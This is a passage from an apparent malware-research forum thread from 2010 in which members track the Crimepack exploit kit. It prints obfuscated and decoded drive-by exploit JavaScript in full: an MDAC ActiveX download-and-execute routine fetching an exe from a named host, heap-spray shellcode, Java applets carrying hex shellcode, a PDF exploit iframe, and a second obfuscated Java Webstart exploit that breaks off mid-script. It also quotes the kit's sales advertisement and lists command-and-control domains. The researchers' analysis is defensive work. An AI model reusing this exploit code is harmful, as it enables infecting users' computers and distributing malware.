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");
   fHvonnFEyL = new Array();
   for (var fJQgTpDqeR = 0;fJQgTpDqeR < 256;fJQgTpDqeR++)
   {
     fHvonnFEyL [fJQgTpDqeR] = fJQgTpDqeR;
   }
   var ckSKeTHXcz = 0;
   var sRPKYWXpOU;
   for (fJQgTpDqeR = 0;fJQgTpDqeR < 256;fJQgTpDqeR++)
   {
     ckSKeTHXcz = (ckSKeTHXcz + fHvonnFEyL [fJQgTpDqeR] + vPRPSbzqtF.charCodeAt(fJQgTpDqeR % vPRPSbzqtF.length)) % 256;
     sRPKYWXpOU = fHvonnFEyL [fJQgTpDqeR];
     fHvonnFEyL [fJQgTpDqeR] = fHvonnFEyL [ckSKeTHXcz];
     fHvonnFEyL [ckSKeTHXcz] = sRPKYWXpOU;
   }
   fJQgTpDqeR = 0;
   ckSKeTHXcz = 0;
   var iAEDKjXRGA = '';
   for (var y = 0; y < iMHMAuAFzz.length; y++)
   {
     fJQgTpDqeR = (fJQgTpDqeR + 1) % 256;
     ckSKeTHXcz = (ckSKeTHXcz + fHvonnFEyL [fJQgTpDqeR]) % 256;
     sRPKYWXpOU = fHvonnFEyL [fJQgTpDqeR];
     fHvonnFEyL [fJQgTpDqeR] = fHvonnFEyL [ckSKeTHXcz];
     fHvonnFEyL [ckSKeTHXcz] = sRPKYWXpOU;
     iAEDKjXRGA += qeCUTXBcEh(iMHMAuAFzz.charCodeAt(y) ^ fHvonnFEyL [(fHvonnFEyL [fJQgTpDqeR] + fHvonnFEyL [ckSKeTHXcz]) % 256]);
   }
   vqBoXVdaMH.write(iAEDKjXRGA);
  
 }
 


Decoded

Code: [Select]
<script language="JavaScript">document.write("<body><div id=\"yjATAjeRANUbytA\"></div></body>");function aNeBejYpANEGyLe() {
var vxhZJDiyEjWGPnaQ = 0;
var hOfWbIXNRJslNRXa = new Array('BD96C556-65A3-11D0-983A-00C04FC29E36', 'BD96C556-65A3-11D0-983A-00C04FC29E30', 'AB9BCEDD-EC7E-47E1-9322-D4A210617116', '0006F033-0000-0000-C000-000000000046', '0006F03A-0000-0000-C000-000000000046', '6e32070a-766d-4ee6-879c-dc1fa91d2fc3', '6414512B-B978-451D-A0D8-FCFDF33E833C', '7F5B7F63-F06F-4331-8A26-339E03C0AE3D', '06723E09-F4C2-43c8-8358-09FCD1DB0766', '639F725F-1B2D-4831-A9FD-874847682010', 'BA018599-1DB3-44f9-83B4-461454C84BF8', 'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19', 'E8CCCDDF-CA28-496b-B050-6C07C962476B', null);
while (hOfWbIXNRJslNRXa[vxhZJDiyEjWGPnaQ]) {
var eFAYJiXNRtUhhvyY = document.createElement('object');
eFAYJiXNRtUhhvyY.setAttribute('id', eFAYJiXNRtUhhvyY);
eFAYJiXNRtUhhvyY.setAttribute('classid', 'clsid:' + hOfWbIXNRJslNRXa[vxhZJDiyEjWGPnaQ]);
if(eFAYJiXNRtUhhvyY){
try {
var ievlmTyDcroqIMRX = eFAYJiXNRtUhhvyY.CreateObject('msxml2.XMLHTTP', '');
var mQNkkCCwMCrQBKee = eFAYJiXNRtUhhvyY.CreateObject('Shell.Application', '');
var oRvbAToSMJAuEyTO = eFAYJiXNRtUhhvyY.CreateObject('adodb.stream', '');
try {
oRvbAToSMJAuEyTO.type = 1;
ievlmTyDcroqIMRX.open('GET', 'http://roguenet.info/skuff/load.php?spl=mdac&b=ie&o=xp&i=Wvksi9DC7dhGTn7SI', false);
ievlmTyDcroqIMRX.send();
oRvbAToSMJAuEyTO.open();
oRvbAToSMJAuEyTO.Write(ievlmTyDcroqIMRX.responseBody);
var rOzPhxSKoHAxUSVm = './/..//32598.exe';
oRvbAToSMJAuEyTO.SaveToFile(rOzPhxSKoHAxUSVm, 2);
oRvbAToSMJAuEyTO.Close();
} catch(e) {
EgEJEWyGezumUNE();
}
try {
mQNkkCCwMCrQBKee.shellexecute(rOzPhxSKoHAxUSVm);
} catch(e) { EgEJEWyGezumUNE(); }
} catch(e) { EgEJEWyGezumUNE(); }
}
vxhZJDiyEjWGPnaQ++;
}
setTimeout("EgEJEWyGezumUNE();", 1500);
}function EgEJEWyGezumUNE(){
try{
var qwVojqrkcCmjqGZHYOQPKbKghukq = unescape("%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u32e3%u8b49%u8b34%uee01%uff31%u31fc%uacc0%ue038%u0774%ucfc1%u010d%uebc7%u3bf2%u247c%u7514%u8be1%u245a%ueb01%u8b66%u4b0c%u5a8b%u011c%u8beb%u8b04%ue801%u02eb%uc031%u5e5f%u5b5d%u08c2%u5e00%u306a%u6459%u198b%u5b8b%u8b0c%u1c5b%u1b8b%u5b8b%u5308%u8e68%u0e4e%uffec%u89d6%u53c7%u8e68%u0e4e%uffec%uebd6%u5a50%uff52%u89d0%u52c2%u5352%uaa68%u0dfc%uff7c%u5ad6%u4deb%u5159%uff52%uebd0%u5a72%u5beb%u6a59%u6a00%u5100%u6a52%uff00%u53d0%ua068%uc9d5%uff4d%u5ad6%uff52%u53d0%u9868%u8afe%uff0e%uebd6%u5944%u006a%uff51%u53d0%u7e68%ue2d8%uff73%u6ad6%uff00%ue8d0%uffab%uffff%u7275%u6d6c%u6e6f%u642e%u6c6c%ue800%uffae%uffff%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%ue800%uffa0%uffff%u2e2e%u795c%ue800%uffb7%uffff%u2e2e%u795c%ue800%uff89%uffff%u7468%u7074%u2f3a%u722f%u676f%u6575%u656e%u2e74%u6e69%u6f66%u732f%u756b%u6666%u6c2f%u616f%u2e64%u6870%u3f70%u7073%u3d6c%u7364%u6f68%u2677%u3d62%u6569%u6f26%u783d%u2670%u3d69%u7657%u736b%u3969%u4344%u6437%u4768%u6e54%u5337%u0049");
var kSzdOUSyKJinLVWCbvJAKZQVBbCj = unescape("%u9"+"090%u9"+"09"+"0");
var vmZBEZfTtySDHBqTWNVyJfzTFPpG = 20;
var drpMePOjouCisVlAWcUtqprzVrSa = vmZBEZfTtySDHBqTWNVyJfzTFPpG + qwVojqrkcCmjqGZHYOQPKbKghukq.length;
while (kSzdOUSyKJinLVWCbvJAKZQVBbCj.length < drpMePOjouCisVlAWcUtqprzVrSa) kSzdOUSyKJinLVWCbvJAKZQVBbCj += kSzdOUSyKJinLVWCbvJAKZQVBbCj;
var rIhyzWKdmZMbUPJNlvNHYhBOXsNs = kSzdOUSyKJinLVWCbvJAKZQVBbCj.substring(0, drpMePOjouCisVlAWcUtqprzVrSa);
var qgSroApoWARJZekuutHfoUnMCoaZ = kSzdOUSyKJinLVWCbvJAKZQVBbCj.substring(0, kSzdOUSyKJinLVWCbvJAKZQVBbCj.length - drpMePOjouCisVlAWcUtqprzVrSa);
while (qgSroApoWARJZekuutHfoUnMCoaZ.length + drpMePOjouCisVlAWcUtqprzVrSa < 0x40000) qgSroApoWARJZekuutHfoUnMCoaZ = qgSroApoWARJZekuutHfoUnMCoaZ + qgSroApoWARJZekuutHfoUnMCoaZ + rIhyzWKdmZMbUPJNlvNHYhBOXsNs;
var xnSRUlIIlxwIxORXtBRnuZTjuGvw = new Array();
for (cWWcKoteaCnLzjTxykUrlmfgLyPF = 0; cWWcKoteaCnLzjTxykUrlmfgLyPF < 350; cWWcKoteaCnLzjTxykUrlmfgLyPF++) { xnSRUlIIlxwIxORXtBRnuZTjuGvw[cWWcKoteaCnLzjTxykUrlmfgLyPF] = qgSroApoWARJZekuutHfoUnMCoaZ + qwVojqrkcCmjqGZHYOQPKbKghukq}
var wluTxxUfVxXjUuWuFVTznpsqgceK = document.createElement('object');
yjATAjeRANUbytA.appendChild(wluTxxUfVxXjUuWuFVTznpsqgceK);
wluTxxUfVxXjUuWuFVTznpsqgceK.width = '1';
wluTxxUfVxXjUuWuFVTznpsqgceK.height = '1';
wluTxxUfVxXjUuWuFVTznpsqgceK.data = 'objects/blizzard.jpg';
wluTxxUfVxXjUuWuFVTznpsqgceK.classid = 'clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
}catch(e){
AsazUJYJEsAqaHa();
}
setTimeout("AsazUJYJEsAqaHa();", 1500);
}function AsazUJYJEsAqaHa(){
if (navigator.javaEnabled()) {
var pBQAmqKGrISvoQLZXGF = '<applet code="iii.qqq.sexxxy.class" archive="java.php?eid=6FFBDA4E557C2A05D47E3ED982105EBA&type=1&key=UPEBYgANeSydaPezYQAJ" width="300" height="300">';
pBQAmqKGrISvoQLZXGF += '<param name="crimepack" value="http://roguenet.info/skuff/load.php?spl=java&b=ie&o=xp&i=Wvksi9DC7dhGTn7SI&y=8749011">';
pBQAmqKGrISvoQLZXGF += '<param name="count" value="1"></applet>';
var wknnVreDSXyirAysmpC = document.createElement("div");
wknnVreDSXyirAysmpC.innerHTML = pBQAmqKGrISvoQLZXGF;
document.body.appendChild(wknnVreDSXyirAysmpC);
}
setTimeout("EmAnepEdyhEdEDY();", 2500);
}function EmAnepEdyhEdEDY(){
if (navigator.javaEnabled()) {
var sLGQBqLFmsKmHLOuMrZNuoT = '<applet code="crimepack" archive="java.php?eid=6FFBDA4E557C2A05D47E3ED982105EBA&type=2&key=yLEhUJUVUqAqYjEMaXyZ" width="300" height="300">';
sLGQBqLFmsKmHLOuMrZNuoT += '<param name="sc" value="505351525657559CE8000000005D83ED0D31C064034030780C8B400C8B701CAD8B4008EB098B40348D407C8B403C5657BE5E01000001EEBF4E01000001EFE8D60100005F5E89EA81C25E010000526880000000FF954E01000089EA81C25E01000031F601C28A9C356302000080FB007406881C3246EBEEC604320089EA81C24502000052FF955201000089EA81C2500200005250FF95560100006A006A0089EA81C25E0100005289EA81C278020000526A00FFD06A0589EA81C25E01000052FF955A01000089EA81C25E010000526880000000FF954E01000089EA81C25E01000031F601C28A9C356E02000080FB007406881C3246EBEEC604320089EA81C24502000052FF955201000089EA81C2500200005250FF95560100006A006A0089EA81C25E0100005289EA81C2A6020000526A00FFD06A0589EA81C25E01000052FF955A0100009D5D5F5E5A595B58C30000000000000000000000000000000047657454656D705061746841004C6F61644C696272617279410047657450726F63416464726573730057696E4578656300BB89F289F730C0AE75FD29F789F931C0BE3C00000003B51B02000066AD03851B0200008B707883C61C03B51B0200008DBD1F020000AD03851B020000ABAD03851B02000050ABAD03851B020000AB5E31DBAD5603851B02000089C689D751FCF3A65974045E43EBE95E93D1E003852702000031F69666ADC1E00203851F02000089C6AD03851B020000C3EB100000000000000000000000000000000089851B0200005657E858FFFFFF5F5EAB01CE803EBB7402EBEDC355524C4D4F4E2E444C4C0055524C446F776E6C6F6164546F46696C6541007064667570642E6578650063726173682E70687000687474703A2F2F726F6775656E65742E696E666F2F736B7566662F6C6F61642E7068703F73706C3D6A61766126623D6965266F3D787026693D57766B736939444337646847546E3753490090">';
sLGQBqLFmsKmHLOuMrZNuoT += '<param name="np" value="90909090"></applet>';
var bgrCxCrqgCwwDnIJZBTMIfa = document.createElement("div");
bgrCxCrqgCwwDnIJZBTMIfa.innerHTML = sLGQBqLFmsKmHLOuMrZNuoT;
document.body.appendChild(bgrCxCrqgCwwDnIJZBTMIfa);
}
setTimeout("YZuGyhAXUNEJYQu();", 2500);
}function YZuGyhAXUNEJYQu(){

if (window.ActiveXObject){
var saKlKxlRPVYOOw = null;
try {
saKlKxlRPVYOOw = new ActiveXObject('AcroPDF.PDF');
}catch (e) {}
if (!saKlKxlRPVYOOw) {
try {
saKlKxlRPVYOOw = new ActiveXObject('PDF.PdfCtrl');
}catch (e) {}
}
if (saKlKxlRPVYOOw) {
var xTiOcFmSgjNvqW = document.createElement('iframe');
xTiOcFmSgjNvqW.setAttribute('src', './pdf.php?pdf=6FFBDA4E557C2A05D47E3ED982105EBA');
xTiOcFmSgjNvqW.setAttribute('width', 95);
xTiOcFmSgjNvqW.setAttribute('height', 92);
xTiOcFmSgjNvqW.setAttribute('style', 'display:none;');
document.body.appendChild(xTiOcFmSgjNvqW);
}else{
ejusATyMUjUzymU();
}
}
setTimeout("ejusATyMUjUzymU();", 6500);
}
function y(){
window.location="get.php?done=Wvksi9DC7dhGTn7SI";
}
function ejusATyMUjUzymU(){
setTimeout("y();", 10000);

}
aNeBejYpANEGyLe();</script>
Ruining the bad guy's day

March 20, 2010, 07:55:50 am
Reply #7

Garlando

  • Full Member

  • Offline
  • ***

  • 40
you seem to find many crimepack in one day does this pack start to become popular or what happend? before i see no posts regarding this and suddenly 5 domains posted in 1 day

March 26, 2010, 07:49:20 pm
Reply #8

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
news from Crimepack guys.

http://pastie.org/pastes/888690
Code: [Select]
We are here to introduce to the newest exploit system on the market



We do not focus on having a fancy ajax layout and shitty rates combined with outrageous prices like other packs, we focus on the outcome.

All exploits used are modded to perfection to get the highest rates out of it possible.
And instead of throwing together as many exploits as possible (like other packs out there)
We decided to handpick a few with higher effectiveness


Exploits included:

Adobe Acrobat Reader Exploits (including CVE-2010-0188) (ALL)

JRE (GSB & SERIALIZE) (ALL)
AGGRESSIVE MODE** (ALL)
MDAC (IE)
MS09-032 (IE)
MS09-002 (IE)
CVE-2010-0806 (IE)

** This is a Java applet that downloads and executes you exe, the feature can be turned on and off in the admin panel

Exploit rates on test run (26/3/2010)

HITS: 10062 - LOADS: 3421 - RATE: 34%

Browsers (exploit rate)

IE6/7 - 46%
FF - 13%
OP - 3%

Countries (exploit rate)

IN: 41%
PK: 32%
US: 10%
UK: 7%
AU: 9%


Features:

1. Undetected from AV Scanners (Javascript & PDF/JAR/JPG files)
2. Random PDF Obfuscation (Not using static pdf file like other packs)
3. Blacklist checker & AutoChecker
4. Prevent Wepawet, Jsunpack and other javascript unpackers to decode your page

Will autocheck (can be turned off) your domain for blacklist & malware lists, and will notify you if found, Checks the following:

+ Norton SafeWeb
+ My WebOfTrust
+ Malc0de
+ Google Safe Browsing
+ Malwaredomainlist
+ Mcafee SiteAdvisor
+ hpHosts
+ Malwareurl


Changes from 2.2.1 to 2.8.0

+ Added CVE-2010-0806
+ Added CVE-2010-0188
+ Added more ip's to block (this will keep alot of MDL users/admins away)
+ IFrame generator
+ Redirector for non-vulnerable traffic
+ New JS cryptor
+ Anti-Kaspersky emulation

------------------------------------------------------------------------------------------

Current version 2.8 prices:

$400 - 1 License

1 License includes:

+ Domain locked one domain (subdomains unlimited)

+ 2 new domain builds if blacklisted

+ Support

+ Minor updates for free

+ Discount on new releases


Extras:

1. Domain re-build for other domain (50$)

*** NOTE: YOU ARE NOT ALLOWED TO RESELL/SHARE, IF WE CATCH YOU DOING THIS YOUR LICENSE WILL BE REVOKED ***

2. AV-Cleaning (free first time, $50 after)

------------------------------------------------------------------------------------------

We do not like having unsatishfied customers, so we provide access to a panel for 48 hours for evaluation before you buy

Contacts:
MSN: crimepack@googlemail.com
ICQ: 631592697
PAYMENT METHODS: WMZ, LR

------------------------------------------------------------------------------------------

Quote
+ Added more ip's to block (this will keep alot of MDL users/admins away)

Let's see.  ;D
Ruining the bad guy's day

March 26, 2010, 07:58:46 pm
Reply #9

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
LOL!

Code: [Select]
+ Added more ip's to block (this will keep alot of MDL users/admins away)
They're under the impression we only have a few IP's to ourselves?  :-\ hehe
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

March 26, 2010, 09:26:18 pm
Reply #10

CkreM

  • Special Access
  • Hero Member

  • Offline
  • *

  • 567
LOL!

Code: [Select]
+ Added more ip's to block (this will keep alot of MDL users/admins away)
They're under the impression we only have a few IP's to ourselves?  :-\ hehe

Yupp   ;)
Mal-Aware

April 17, 2010, 04:11:25 pm
Reply #11

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Today we discovered another site running Crimepack.

Don't visit
Code: [Select]
92.241.190.171/~crimepack/

Payload of this installation

http://www.virustotal.com/analisis/67a430914daedacd75cc67268ba6c1804b559c4576b2d288b5073e04deebe8d6-1271589217

runs ddos attacks against German consumer protection sites.

trojan establishes ssl connections to these 2 sites and receives instructions.
Code: [Select]
intelupdate.mn
intelupdate.co.in
ip address : 92.241.190.121


Then it starts ddos attacks against


forum.autosec4u.info/informationen/massive-ddos-attacken-t-851.html
www.auktionshilfe.info/thread_5725p1
forum.autosec4u.info/index.php
forum.autosec4u.info/informationen-und-sicherheit/informationen-f-2.html
gegen-abzocke.com/index2.php/04/006966102277-mercedes-gewinnanrufe/
gegen-abzocke.com/index2.php/04/pressemeldung-ddos-angriffe/
www.konsumer.info/index.php
www.facto24.de/?p=1654


Site have already reported ongoing attacks (German).

forum.autosec4u.info/informationen/massive-ddos-attacken-t-851.html
http://www.konsumer.info/?p=9846
Ruining the bad guy's day

May 21, 2010, 07:33:35 pm
Reply #12

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

May 29, 2010, 01:05:31 pm
Reply #13

Garlando

  • Full Member

  • Offline
  • ***

  • 40
CRiMEPACK now serving Java Webstart exploit

Code: [Select]
hxxp://91.211.117.87/client/index.php worked yesterday, now giving 403

Code: [Select]
<script language='javascript'>
document.write("<body><div id='UZyDuQEWEQyGAnA'>UZyDuQEWEQyGAnA</div><button id='YvrxzthZawsVqHpsqGVOcAEoIIseNXwAgJmIEowMMjrJGgjDObbwydMLYgxBQLfgfvSjnFoNVgBrxIIvTHjbUsBpSAGLyYPA' onclick='CryhMTEPkyjGRjjiDQwYgGdePRCBhNOHOcclsqbHlGAfdFvScUfe();' style='display:none'></button></body>");
function aPemULABAqEtyGA(){}
function uTuSUNyhyMYramY(x){return x.replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});}
function EtAnygUNyHuVere(){

if (navigator.javaEnabled()) {

var tqxoabbaekrzwvsujrb = uTuSUNyhyMYramY("uggc: -W-KKnygwiz=\\\\91.211.117.87\\jroqni2 -Kabfcynfu zhwuxrfvlayrbryiosy.wayc");

try {

var pihyjemgqafdoiculww = document.createElement(uTuSUNyhyMYramY("BOWRPG"));

pihyjemgqafdoiculww.type = uTuSUNyhyMYramY("nccyvpngvba/wnin-qrcyblzrag-gbbyxvg");

document.body.appendChild(pihyjemgqafdoiculww);

pihyjemgqafdoiculww[uTuSUNyhyMYramY("ynhapu")](tqxoabbaekrzwvsujrb);

setTimeout("UHaQYdyLYWygeQE();", 1500);

return;



} catch (e) {

var mdygcubuplmqzvqogiu = document.createElement(uTuSUNyhyMYramY("BOWRPG"));

mdygcubuplmqzvqogiu.type = uTuSUNyhyMYramY("nccyvpngvba/acehagvzr-fpevcgnoyr-cyhtva;qrcyblzraggbbyxvg");

document.body.appendChild(mdygcubuplmqzvqogiu);

mdygcubuplmqzvqogiu[uTuSUNyhyMYramY("ynhapu")](tqxoabbaekrzwvsujrb);

setTimeout("UHaQYdyLYWygeQE();", 1500);

return;

}

}

UHaQYdyLYWygeQE();

}


function UHaQYdyLYWygeQE(){

if (navigator.javaEnabled()) {

var qrflmviynhiswoavyc = '<applet code="iii.qqq.sexxxy.class" archive="java.php?eid=CE5E1C35E8D8BFBA6109C52F5A9C6EF6&type=1&key=esAquMAQAdaJAjaZAQYT" width="300" height="300">';

qrflmviynhiswoavyc += '<param name="crimepack" value="http://91.211.117.87/client/load.php?spl=java&b=op&o=xp&i=java&y=2941586">';

qrflmviynhiswoavyc += '<param name="count" value="1"></applet>';

qrflmviynhiswoavyc += '<applet code="crimepack" archive="java.php?eid=CE5E1C35E8D8BFBA6109C52F5A9C6EF6&type=2&key=yHETezYJaMYPaZuPAqAg" width="300" height="300">';

